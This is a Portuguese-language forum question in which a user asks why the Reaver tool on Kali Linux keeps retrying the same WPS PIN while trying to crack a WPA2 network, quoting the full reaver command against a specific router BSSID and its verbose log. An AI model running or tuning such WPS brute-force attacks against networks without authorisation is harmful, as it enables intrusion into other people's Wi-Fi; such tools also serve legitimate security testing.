Reaver continua repetindo o mesmo pin no Kali linux

Question

Estou tentando decifrar o WPA2 PSK via REAVER, mas a intensidade do sinal está abaixo de -50db. A intensidade do sinal está cheia . Ele tenta o mesmo PIN novamente e novamente. Eu tenho um adaptador sem fio de 2.4 Ghz. Isso é verdade?

Aqui está o último comando do REAVER que eu digitei

reaver -i mon0 -b 2C:AB:25:51:F1:CF -d 30 -S -N -vv
  [+] Switching mon0 to channel 1  
  [+] Waiting for beacon from 2C:AB:25:51:F1:CF  
  [+] failed to Associated with 2C:AB:25:51:F1:CF(ESSID: PTCL-BB)  
  [+] Trying pin 12345670  
  [+] Sending EAPOL START request  
  [+] Received identity request  
  [+] Sending identity response                   
  [!] WARNING: Receive timeout occurred          
  [+] Sending WSC NACK  
  [!] WPS transaction failed (code: 0x02), re-trying last pin  
  [+] Trying pin 12345670  
  [+] Sending EAPOL START request  
  [+] Received identity request                 
  [+] Sending identity response  
  [+] Received identity request         
  [+] Sending identity response ^C  
  [+] Nothing done, nothing to save.